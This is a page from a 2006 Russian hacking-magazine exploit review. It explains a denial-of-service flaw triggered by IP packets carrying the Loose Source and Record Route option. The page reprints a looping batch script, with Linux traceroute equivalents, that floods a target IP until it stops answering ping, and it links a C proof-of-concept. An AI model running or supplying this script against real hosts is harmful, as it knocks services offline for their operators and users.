Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #92, АВГУСТ 2006 г.

Обзор эксплойтов

Крис Касперски ака мыщъх

Хакер, номер #092, стр. 092-050-4


Хакеры, называющие себя Jimmy и ByteCoder+, тут же написали exploit, представляющий собой простейший командный файл, запускаемый из-под Window 9x или NT-подобных систем и устраивающий уделенному узлу настоящее харакири, причем атакующий может находится как внутри локальной сети, так и вне ее:

Листинг 2: Простейший exploit, атакующий сервер путем посылки пакетов со взведенной опцией Loose Source-n-Record Route

REM задаем IP-адрес (или доменное имя)

REM узла-жертвы, которую мы будем валить

SET targetip=192.168.0.6

:rool

REM посылаем IP-пакеты с взведенной опцией

REM "Loose Source-n-Record Route" в цикле,

REM указав в списке маршрутов адрес 0.0.0.0

REM

REM =========== ВНИМАНИЕ!!!! =============

REM под LINIX утилита traceroute вызывается

REM со следующими ключами командной строки:

REM #targetip=192.168.0.6

REM #traceroute -m 1 -g 0.0.0.0 ${targetip}

REM ========================================

tracert -h 1 -j 0.0.0.0 %targetip%

tracert -h 1 -j 0.0.0.0 %targetip%

tracert -h 1 -j 0.0.0.0 %targetip%

REM посылаем серверу эхо-пакет, чтобы выяснить,

REM жив ли он еще или уже упал смертью храбрых

ping %targetip% -n 1 || goto end

REM если мы здесь - переход на end не сработал:

REM сервер шлет нам примет, ну а мы продолжаем

REM слать ему IP-пакеты, надеясь, что когда-нибудь

REM он все-таки упадет

goto rool

REM сюда мы переходим, когда посланный серверу

REM эхо-пакет уже не возвращается к нам назад.

REM сервер упал?! сервер упал!!! может быть...

:end

@cls

@Echo Server is crash

@pause

Exit

Для эстетов хакер по кличке Preddy из RootShell Security Group создал Си-версию exploit'а, работающую как под NT/9x, так и под Linux: securityfocus.com/data/vulnerabilities/exploits/18374-DoS-PoC.c;

Чтобы понять, как работает exploit, необходимо рассмотреть заголовок IP-пакета.

Поле options служит для задания дополнительных опций, расширяющих возможности протокола IP. В частности, интересующая нас опция 131 (Loose Source-n-Record Route) и 137 (Strict Source-n-Record Route) описаны в RFC-791 (rfc.net/rfc791.html), а также во множестве независимых источников, например энциклопедии «Аппаратных средств локальных сетей» Михаила Гука (shop.piter.com/chapt.phtml?id=978580460113) или в "Протоколе IP": ariu.berdyansk.net/~andy/telecom_technology/1522-4.html#2.4.4.

Обе опции действуют практически одинаково и позволяют отправителю пакета самостоятельно выбирать маршрут следования. Разница свободной и строгой маршрутизацией заключается лишь в том, что при свободной маршрутизации очередной узел навязанного маршрута может быть достигнут за любое количество переходов (также называемых хопами), а при жесткой — очередной узел должен быть достигнут за 1 переход, а если это невозможно, то пакет уничтожается с генерацией ICMP-сообщения о невозможности доставки.

Назад на стр. 092-050-3  Содержание  Вперед на стр. 092-050-5